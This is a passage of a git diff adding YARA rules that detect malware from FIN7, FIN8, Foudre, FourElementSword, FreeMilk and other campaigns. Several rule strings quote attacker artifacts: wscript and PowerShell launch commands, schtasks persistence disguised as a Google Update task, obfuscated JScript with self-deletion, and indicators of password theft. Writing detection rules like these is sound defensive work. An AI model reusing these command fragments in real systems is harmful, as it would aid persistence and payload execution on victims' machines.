+      reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+      date = "2018-08-01"
+      hash1 = "ce8ce35f85406cd7241c6cc402431445fa1b5a55c548cca2ea30eeb4a423b6f0"
+      id = "96943654-a6e8-59c0-ab6c-1ab3906a5d05"
+   strings:
+      $s1 = "libpng version" fullword ascii
+      $s2 = "sdfkjdfjfhgurgvncmnvmfdjdkfjdkfjdf" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 800KB and all of them
+}
+
+rule APT_FIN7_EXE_Sample_Aug18_8 {
+   meta:
+      description = "Detects sample from FIN7 report in August 2018"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+      date = "2018-08-01"
+      hash1 = "d8bda53d7f2f1e4e442a0e1c30a20d6b0ac9c6880947f5dd36f78e4378b20c5c"
+      id = "1eb9810e-2b50-5a93-925e-073bb17e1e6c"
+   strings:
+      $s1 = "GetL3st3rr" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 600KB and all of them
+}
+
+rule APT_FIN7_EXE_Sample_Aug18_10 {
+   meta:
+      description = "Detects sample from FIN7 report in August 2018"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+      date = "2018-08-01"
+      hash1 = "8cc02b721683f8b880c8d086ed055006dcf6155a6cd19435f74dd9296b74f5fc"
+      id = "2c6f557e-31d3-5377-a3fa-4f1507f28386"
+   strings:
+      /* "Copyright 1 - 19" */
+      $c1 = { 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70
+               00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 43
+               00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74
+               00 20 00 31 00 20 00 2D 00 20 00 31 00 39 00 }
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and 1 of them
+}
+
+rule APT_FIN7_Sample_EXE_Aug18_1 {
+   meta:
+      description = "Detects FIN7 Sample"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
+      date = "2018-08-01"
+      hash1 = "608003c2165b0954f396d835882479f2504648892d0393f567e4a4aa90659bf9"
+      hash2 = "deb62514704852ccd9171d40877c59031f268db917c23d00a2f0113dab79aa3b"
+      hash3 = "16de81428a034c7b2636c4a875809ab62c9eefcd326b50c3e629df3b141cc32b"
+      hash4 = "3937abdd1fd63587022ed540a31c58c87c2080cdec51dd24af3201a6310059d4"
+      hash5 = "7789a3d7d05c30b4efaf3f2f5811804daa56d78a9a660968a4f1f9a78a9108a0"
+      id = "7c66a234-9dee-5279-b855-892b12d036ff"
+   strings:
+      $s1 = "x0=%d, y0=%d, x1=%d, y1=%d" fullword ascii
+      $s2 = "dx=%d, dy=%d" fullword ascii
+      $s3 = "Error with JP2H box size" fullword ascii
+
+      $co1 = { 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+               00 00 00 00 00 00 00 00 00 00 00 2E 63 6F 64 65
+               00 00 00 }
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB
+      and all of ($s*)
+      and $co1 at 0x015D
+}
+
+rule APT_FIN7_MsDoc_Sep21_1 {
+   meta:
+      description = "Detects MalDocs used by FIN7 group"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.anomali.com/blog/cybercrime-group-fin7-using-windows-11-alpha-themed-docs-to-drop-javascript-backdoor"
+      date = "2021-09-07"
+      score = 85
+      hash1 = "d60b6a8310373c9b84e6760c24185535"
+      id = "4fbde087-ec1e-5614-af1e-f342b1766fa2"
+   strings:
+      /* John \x0bW10ProOff16 */
+      $xc1 = { 00 4A 00 6F 00 68 00 6E 00 0B 00 57 00 31 00 30
+               00 50 00 72 00 6F 00 4F 00 66 00 66 00 31 00 36 }
+
+      $s1 = "word_data.bin" ascii fullword
+      $s2 = "V:\\DOC\\For_JS" ascii
+      $s3 = "HomeCompany" ascii
+      $s4 = "W10ProOff16" ascii
+   condition:
+      uint16(0) == 0xcfd0
+      and ( 
+         1 of ($x*) or
+         3 of them 
+      )
+}
+
+rule SUSP_OBFUSC_JS_Sept21_2 {
+   meta:
+      description = "Detects JavaScript obfuscation as used in MalDocs by FIN7 group"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.anomali.com/blog/cybercrime-group-fin7-using-windows-11-alpha-themed-docs-to-drop-javascript-backdoor"
+      date = "2021-09-07"
+      score = 65
+      id = "5ab9cd60-077c-5066-bd2f-8da261aae1e0"
+   strings:
+      $s1 = "=new RegExp(String.fromCharCode(" ascii
+      $s2 = ".charCodeAt(" ascii
+      $s3 = ".substr(0, " ascii
+      $s4 = "var shell = new ActiveXObject(" ascii
+      $s5 = "= new Date().getUTCMilliseconds();" ascii
+      $s6 = ".deleteFile(WScript.ScriptFullName);" ascii
+   condition:
+      filesize < 6000KB
+      and ( 
+         4 of them
+      )
+}
diff --git a/yara-Neo23x0/apt_fin7_backdoor.yar b/yara-Neo23x0/apt_fin7_backdoor.yar
new file mode 100644
index 0000000..fa8fdb6
--- /dev/null
+++ b/yara-Neo23x0/apt_fin7_backdoor.yar
@@ -0,0 +1,74 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-08-04
+   Identifier: FIN7
+   Reference: https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule FIN7_Dropper_Aug17 {
+   meta:
+      description = "Detects Word Dropper from Proofpoint FIN7 Report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor"
+      date = "2017-08-04"
+      hash1 = "c91642c0a5a8781fff9fd400bff85b6715c96d8e17e2d2390c1771c683c7ead9"
+      hash2 = "cf86c7a92451dca1ebb76ebd3e469f3fa0d9b376487ee6d07ae57ab1b65a86f8"
+      id = "4929dff6-9f33-5d22-b560-c2195440a1cc"
+   strings:
+      $x1 = "tpircsj:e/ b// exe.tpircsw\" rt/" fullword ascii
+
+      $s1 = "Scripting.FileSystemObject$" fullword ascii
+      $s2 = "PROJECT.THISDOCUMENT.AUTOOPEN" fullword wide
+      $s3 = "Project.ThisDocument.AutoOpen" fullword wide
+      $s4 = "\\system3" ascii
+      $s5 = "ShellV" fullword ascii
+   condition:
+      ( uint16(0) == 0xcfd0 and filesize < 700KB and 1 of ($x*) or all of ($s*) )
+}
+
+rule FIN7_Backdoor_Aug17 {
+   meta:
+      description = "Detects Word Dropper from Proofpoint FIN7 Report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor"
+      date = "2017-08-04"
+      id = "906daf88-520b-57b5-825e-29f060b43183"
+   strings:
+      $x1 = "wscript.exe //b /e:jscript C:\\Users\\" ascii
+      $x2 = "wscript.exe /b /e:jscript C:\\Users\\" ascii
+      $x3 = "schtasks /Create /f /tn \"GoogleUpdateTaskMachineSystem\" /tr \"wscript.exe" ascii nocase
+      $x4 = "schtasks /Delete /F /TN \"\"GoogleUpdateTaskMachineCore" ascii nocase
+      $x5 = "schtasks /Delete /F /TN \"GoogleUpdateTaskMachineCore" ascii nocase
+      $x6 = "wscript.exe //b /e:jscript %TMP%\\debug.txt" ascii
+
+      $s1 = "/?page=wait" fullword ascii
+
+      $a1 = "autoit3.exe" fullword ascii
+      $a2 = "dumpcap.exe" fullword ascii
+      $a3 = "tshark.exe" fullword ascii
+      $a4 = "prl_cc.exe" fullword ascii
+
+      $v1 = "vmware" fullword ascii
+      $v2 = "PCI\\\\VEN_80EE&DEV_CAFE" fullword ascii
+      $v3 = "VMWVMCIHOSTDEV" fullword ascii
+
+      $c1 = "apowershell" fullword ascii
+      $c2 = "wpowershell" fullword ascii
+      $c3 = "get_passwords" fullword ascii
+      $c4 = "kill_process" fullword ascii
+      $c5 = "get_screen" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 5000KB and
+         (
+            1 of ($x*) or
+            all of ($a*) or
+            all of ($v*) or
+            3 of ($c*)
+         )
+      ) or 5 of them
+}
diff --git a/yara-Neo23x0/apt_fin8.yar b/yara-Neo23x0/apt_fin8.yar
new file mode 100644
index 0000000..26412d9
--- /dev/null
+++ b/yara-Neo23x0/apt_fin8.yar
@@ -0,0 +1,19 @@
+rule Shellcode_APIHashing_FIN8 {
+	meta:
+		description = "Detects FIN8 Shellcode APIHashing"
+		author = "Frank Boldewin (@r3c0nst)"
+		date = "2021-03-16"
+		reference = "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"
+
+		id = "bca5601c-2998-545b-8dd0-ec3c861e6291"
+	strings:
+		$APIHashing32bit1 = {81 F7 99 5D 52 69 81 F3 30 D7 00 AB} 
+		$APIHashing32bit2 = {68 F2 55 03 88 68 65 19 6D 1E} 
+		$APIHashing32bit3 = {68 9B 59 27 21 C1 E9 17 33 4C 24 10 68 37 5C 32 F4} 
+		
+		$APIHashing64bit1 = {49 BF 65 19 6D 1E F2 55 03 88 49 BE 37 5C 32 F4 9B 59 27 21} 
+		$APIHashing64bit2 = {48 B8 99 5D 52 69 30 D7 00 AB}
+		
+	condition:
+		all of ($APIHashing32bit*) or all of ($APIHashing64bit*)
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_flame2_orchestrator.yar b/yara-Neo23x0/apt_flame2_orchestrator.yar
new file mode 100644
index 0000000..f3d46f0
--- /dev/null
+++ b/yara-Neo23x0/apt_flame2_orchestrator.yar
@@ -0,0 +1,34 @@
+/* Limited support for hash function */
+
+/*
+import"pe"
+import"hash"
+
+rule FLAME2_Orchestrator {
+   meta:
+      desc = "Encrypted resources in Flame2.0 Orchestrators"
+      author = "turla @ Uppercase"
+      hash1 = "15a9b1d233c02d1fdf80071797ff9077f6ac374958f7d0f2b6e84b8d487c9cd1" 
+      hash2 = "426aa55d2afb9eb08b601d373671594f39a1d9d9a73639c4a64f17d674ca9a82" 
+      hash3 = "af8ccd0294530c659580f522fcc8492d92c2296dc068f9a42474d52b2b2f16e4"
+      reference = "https://medium.com/chronicle-blog/who-is-gossipgirl-3b4170f846c0"
+   condition: 
+      for any i in (0..pe.number_of_resources-1):
+      ((hash.md5(pe.resources[i].offset,pe.resources[i].length) == "53b19d9863d8ff8cde8e4358d1b57c04") or
+      (hash.md5(pe.resources[i].offset,pe.resources[i].length) == "4849cc439e524ef6a9964a3666dddb13") or
+      (hash.md5(pe.resources[i].offset,pe.resources[i].length) == "62bfe21a8eb76fd07e22326c0073fef5") or
+      (hash.md5(pe.resources[i].offset,pe.resources[i].length) == "dfed2c71749b04dad46d0ce52834492c") or
+      (hash.md5(pe.resources[i].offset,pe.resources[i].length) == "9119aa701b39242a98be118d9c237ecc") or
+      (hash.md5(pe.resources[i].offset,pe.resources[i].length) == "b69d168e29fba6c88ad4e670949815aa") or
+      (hash.md5(pe.resources[i].offset,pe.resources[i].length) == "4849cc439e524ef6a9964a3666dddb13") or
+      (hash.md5(pe.resources[i].offset,pe.resources[i].length) == "1933a1e254b1657a6a2eb8ad1fbe6fa3") or
+      (hash.md5(pe.resources[i].offset,pe.resources[i].length) == "dfed2c71749b04dad46d0ce52834492c") or
+      (hash.md5(pe.resources[i].offset,pe.resources[i].length) == "9119aa701b39242a98be118d9c237ecc") or
+      (hash.md5(pe.resources[i].offset,pe.resources[i].length) == "b69d168e29fba6c88ad4e670949815aa") or
+      (hash.md5(pe.resources[i].offset,pe.resources[i].length) == "17c794f7056349cb82889b5e5b030d15") or
+      (hash.md5(pe.resources[i].offset,pe.resources[i].length) == "e15187f79b6916cb6763d29d215623c1") or
+      (hash.md5(pe.resources[i].offset,pe.resources[i].length) == "923963bb24f2e2ceac9f9759071dba88") or
+      (hash.md5(pe.resources[i].offset,pe.resources[i].length) == "9a2766aba7f2a56ef1ab24cf171ee0ed") or
+      (hash.md5(pe.resources[i].offset,pe.resources[i].length) == "ebe15bfb5a3944ea4952ddf0f73aa6e8"))
+}
+*/
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_foudre.yar b/yara-Neo23x0/apt_foudre.yar
new file mode 100644
index 0000000..c56011c
--- /dev/null
+++ b/yara-Neo23x0/apt_foudre.yar
@@ -0,0 +1,93 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-08-01
+   Identifier: Foudre
+   Reference: https://goo.gl/Nbqbt6
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule Foudre_Backdoor_1 {
+   meta:
+      description = "Detects Foudre Backdoor"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/Nbqbt6"
+      date = "2017-08-01"
+      hash1 = "7e73a727dc8f3c48e58468c3fd0a193a027d085f25fa274a6e187cf503f01f74"
+      hash2 = "7ce2c5111e3560aa6036f98b48ceafe83aa1ac3d3b33392835316c859970f8bc"
+      id = "ab2d43f4-fc35-5980-9b5d-98c5c4cfd012"
+   strings:
+      $s1 = "initialization failed: Reinstall the program" fullword wide
+      $s2 = "SnailDriver V1" fullword wide
+      $s3 = "lp.ini" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and 2 of them )
+}
+
+rule Foudre_Backdoor_Dropper_1 {
+   meta:
+      description = "Detects Foudre Backdoor"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/Nbqbt6"
+      date = "2017-08-01"
+      modified = "2023-01-07"
+      hash1 = "6bc9f6ac2f6688ed63baa29913eaf8c64738cf19933d974d25a0c26b7d01b9ac"
+      hash2 = "da228831089c56743d1fbc8ef156c672017cdf46a322d847a270b9907def53a5"
+      id = "38c7d05b-d545-53c5-8db7-a7925b5b7838"
+   strings:
+      $x1 = "536F594A96C5496CB3949A4DA4775B576E049C57696E646F77735C43757272656E7456657273696F6E5C5C52756E" fullword wide
+      $x2 = "2220263024C380B3278695851482EC32" fullword wide
+
+      $s1 = "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\\\Startup\\" wide
+      $s2 = "C:\\Documents and Settings\\All Users\\" wide
+      $s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\\\Shell Folders" wide
+      $s4 = "ShellExecuteW" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and ( 1 of ($x*) or 4 of them ) )
+}
+
+rule Foudre_Backdoor_Component_1 {
+   meta:
+      description = "Detects Foudre Backdoor"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/Nbqbt6"
+      date = "2017-08-01"
+      modified = "2023-01-07"
+      hash1 = "7c6206eaf0c5c9c6c8d8586a626b49575942572c51458575e51cba72ba2096a4"
+      hash2 = "db605d501d3a5ca2b0e3d8296d552fbbf048ee831be21efca407c45bf794b109"
+      id = "9070f581-64a7-5620-aff4-7f2cbd73099d"
+   strings:
+      /* $s1 = "Project1.dll" fullword ascii */
+      /* Better: Project1.dll\x00D1 */
+      $s1 = { 50 72 6F 6A 65 63 74 31 2E 64 6C 6C 00 44 31 }
+      $s2 = "winmgmts:\\\\localhost\\root\\SecurityCenter2" fullword wide
+      $s3 = "C:\\Documents and Settings\\All Users\\" wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and
+         ( 3 of them ) or
+         ( 2 of them and pe.exports("D1") )
+      )
+}
+
+rule Foudre_Backdoor_SFX {
+   meta:
+      description = "Detects Foudre Backdoor SFX"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/Nbqbt6"
+      date = "2017-08-01"
+      hash1 = "2b37ce9e31625d8b9e51b88418d4bf38ed28c77d98ca59a09daab01be36d405a"
+      hash2 = "4d51a0ea4ecc62456295873ff135e4d94d5899c4de749621bafcedbf4417c472"
+      id = "b5c7cd6b-48c8-5703-b695-19d226de1810"
+   strings:
+      $s1 = "main.exe" fullword ascii
+      $s2 = "pub.key" fullword ascii
+      $s3 = "WinRAR self-extracting archive" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
diff --git a/yara-Neo23x0/apt_four_element_sword.yar b/yara-Neo23x0/apt_four_element_sword.yar
new file mode 100644
index 0000000..edc4081
--- /dev/null
+++ b/yara-Neo23x0/apt_four_element_sword.yar
@@ -0,0 +1,179 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-04-18
+	Identifier: FourElementSword
+	Reference: https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule FourElementSword_Config_File {
+	meta:
+		description = "Detects FourElementSword Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "f05cd0353817bf6c2cab396181464c31c352d6dea07e2d688def261dd6542b27"
+		id = "488a2344-3d8d-5769-aca8-9e14f38f5eb0"
+	strings:
+		$s0 = "01,,hccutils.dll,2" fullword ascii
+		$s1 = "RegisterDlls=OurDll" fullword ascii
+		$s2 = "[OurDll]" fullword ascii
+		$s3 = "[DefaultInstall]" fullword ascii /* Goodware String - occured 16 times */
+		$s4 = "Signature=\"$Windows NT$\"" fullword ascii /* Goodware String - occured 26 times */
+	condition:
+		4 of them
+}
+
+rule FourElementSword_T9000 {
+	meta:
+		description = "Detects FourElementSword Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
+		id = "35ae844e-52e1-5e6f-984d-aa75ebd2f60f"
+	strings:
+		$x1 = "D:\\WORK\\T9000\\" ascii
+		$x2 = "%s\\temp\\HHHH.dat" fullword wide
+
+		$s1 = "Elevate.dll" fullword wide
+		$s2 = "ResN32.dll" fullword wide
+		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword wide
+		$s4 = "igfxtray.exe" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 500KB and 1 of ($x*) ) or ( all of them )
+}
+
+rule FourElementSword_32DLL {
+	meta:
+		description = "Detects FourElementSword Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6"
+		id = "fc801364-9f40-50eb-90e1-99f8605014c7"
+	strings:
+		$x1 = "%temp%\\tmp092.tmp" fullword ascii
+
+		$s1 = "\\System32\\ctfmon.exe" ascii
+		$s2 = "%SystemRoot%\\System32\\" ascii
+		$s3 = "32.dll" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 660KB and $x1 ) or ( all of them )
+}
+
+rule FourElementSword_Keyainst_EXE {
+	meta:
+		description = "Detects FourElementSword Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "cf717a646a015ee72f965488f8df2dd3c36c4714ccc755c295645fe8d150d082"
+		id = "175fe2b0-3c76-5464-9a1a-218a09b25a5a"
+	strings:
+		$x1 = "C:\\ProgramData\\Keyainst.exe" fullword ascii
+
+		$s1 = "ShellExecuteA" fullword ascii /* Goodware String - occured 266 times */
+		$s2 = "GetStartupInfoA" fullword ascii /* Goodware String - occured 2573 times */
+		$s3 = "SHELL32.dll" fullword ascii /* Goodware String - occured 3233 times */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 48KB and $x1 ) or ( all of them )
+}
+
+rule FourElementSword_ElevateDLL_2 {
+	meta:
+		description = "Detects FourElementSword Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "9c23febc49c7b17387767844356d38d5578727ee1150956164883cf555fe7f95"
+		id = "06879d75-18a3-5d49-a963-fa4bee379387"
+	strings:
+		$s1 = "Elevate.dll" fullword ascii
+		$s2 = "GetSomeF" fullword ascii
+		$s3 = "GetNativeSystemInfo" fullword ascii /* Goodware String - occured 530 times */
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 25KB and $s1 ) or ( all of them )
+}
+
+rule FourElementSword_fslapi_dll_gui {
+	meta:
+		description = "Detects FourElementSword Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "2a6ef9dde178c4afe32fe676ff864162f104d85fac2439986de32366625dc083"
+		id = "1cc73eaf-7463-5070-97e5-6ea4c7735371"
+	strings:
+		$s1 = "fslapi.dll.gui" fullword wide
+		$s2 = "ImmGetDefaultIMEWnd" fullword ascii /* Goodware String - occured 64 times */
+		$s3 = "RichOX" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 12KB and all of them )
+}
+
+rule FourElementSword_PowerShell_Start {
+	meta:
+		description = "Detects FourElementSword Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "9b6053e784c5762fdb9931f9064ba6e52c26c2d4b09efd6ff13ca87bbb33c692"
+		id = "62affc03-a408-5d8f-99da-58dead8646c5"
+	strings:
+		$s0 = "start /min powershell C:\\\\ProgramData\\\\wget.exe" ascii
+		$s1 = "start /min powershell C:\\\\ProgramData\\\\iuso.exe" fullword ascii
+	condition:
+		1 of them
+}
+
+rule FourElementSword_ResN32DLL {
+	meta:
+		description = "Detects FourElementSword Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		hash = "bf1b00b7430899d33795ef3405142e880ef8dcbda8aab0b19d80875a14ed852f"
+		id = "3e1f6d8d-53ea-542f-ba49-39b4c86f3124"
+	strings:
+		$s1 = "\\Release\\BypassUAC.pdb" ascii
+		$s2 = "\\ResN32.dll" wide
+		$s3 = "Eupdate" fullword wide
+	condition:
+		all of them
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule FourElementSword_ElevateDLL {
+	meta:
+		description = "Detects FourElementSword Malware"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://www.arbornetworks.com/blog/asert/four-element-sword-engagement/"
+		date = "2016-04-18"
+		super_rule = 1
+		hash1 = "3dfc94605daf51ebd7bbccbb3a9049999f8d555db0999a6a7e6265a7e458cab9"
+		hash2 = "5f3d0a319ecc875cc64a40a34d2283cb329abcf79ad02f487fbfd6bef153943c"
+		id = "06879d75-18a3-5d49-a963-fa4bee379387"
+	strings:
+		$x1 = "Elevate.dll" fullword wide
+		$x2 = "ResN32.dll" fullword wide
+
+		$s1 = "Kingsoft\\Antivirus" fullword wide
+		$s2 = "KasperskyLab\\protected" fullword wide
+		$s3 = "Sophos" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 500KB and 1 of ($x*) and all of ($s*) )
+		or ( all of them )
+}
diff --git a/yara-Neo23x0/apt_freemilk.yar b/yara-Neo23x0/apt_freemilk.yar
new file mode 100644
index 0000000..6d4fc9f
--- /dev/null
+++ b/yara-Neo23x0/apt_freemilk.yar
@@ -0,0 +1,104 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-10-05
+   Identifier: FreeMilk
+   Reference: https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule FreeMilk_APT_Mal_1 {
+   meta:
+      description = "Detects malware from FreeMilk campaign"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
+      date = "2017-10-05"
+      hash1 = "34478d6692f8c28332751b31fd695b799d4ab36a8c12f7b728e2cb99ae2efcd9"
+      hash2 = "35273d6c25665a19ac14d469e1436223202be655ee19b5b247cb1afef626c9f2"
+      hash3 = "0f82ea2f92c7e906ee9ffbbd8212be6a8545b9bb0200eda09cce0ba9d7cb1313"
+      id = "eff37dba-d4a9-5e3d-9452-49f04ddcbe0b"
+   strings:
+      $x1 = "\\milk\\Release\\milk.pdb" ascii
+      $x2 = "E:\\BIG_POOH\\Project\\" ascii
+      $x3 = "Windows-KB271854-x86.exe" fullword wide
+
+      $s1 = "Windows-KB275122-x86.exe" fullword wide
+      $s2 = "\\wsatra.tmp" wide
+      $s3 = "%s\\Rar0tmpExtra%d.rtf" fullword wide
+      $s4 = "\"%s\" help" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and (
+            pe.imphash() == "108aa007b3d1b4817ff4c04d9b254b39" or
+            1 of ($x*) or
+            4 of them
+         )
+}
+
+rule FreeMilk_APT_Mal_2 {
+   meta:
+      description = "Detects malware from FreeMilk campaign"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
+      date = "2017-10-05"
+      hash1 = "7f35521cdbaa4e86143656ff9c52cef8d1e5e5f8245860c205364138f82c54df"
+      id = "ef5f400c-16f8-5374-af16-c8530ddb87ee"
+   strings:
+      $s1 = "failed to take the screenshot. err: %d" fullword ascii
+      $s2 = "runsample" fullword wide
+      $s3 = "%s%02X%02X%02X%02X%02X%02X:" fullword wide
+      $s4 = "win-%d.%d.%d-%d" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 400KB and (
+         pe.imphash() == "b86f7d2c1c182ec4c074ae1e16b7a3f5" or
+         all of them
+      )
+}
+
+rule FreeMilk_APT_Mal_3 {
+   meta:
+      description = "Detects malware from FreeMilk campaign"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
+      date = "2017-10-05"
+      hash1 = "ef40f7ddff404d1193e025081780e32f88883fa4dd496f4189084d772a435cb2"
+      id = "152781f0-756b-50ab-b588-4af5fa4ce419"
+   strings:
+      $s1 = "CMD.EXE /C \"%s\"" fullword wide
+      $s2 = "\\command\\start.exe" wide
+      $s3 = ".bat;.com;.cmd;.exe" fullword wide
+      $s4 = "Unexpected failure opening HKCR key: %d" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 900KB and all of them )
+}
+
+rule FreeMilk_APT_Mal_4 {
+   meta:
+      description = "Detects malware from FreeMilk campaign"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/"
+      date = "2017-10-05"
+      hash1 = "99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5"
+      id = "44f919f7-8eda-5e70-88d5-9e81a761192c"
+   strings:
+      $x1 = "base64Encoded=\"TVqQAAMAAAAE" ascii
+
+      $s1 = "SOFTWARE\\Clients\\StartMenuInternet\\firefox.exe\\shell\\open\\command" fullword wide
+      $s2 = "'Wscript.echo \"Base64 encoded: \" + base64Encoded" fullword ascii
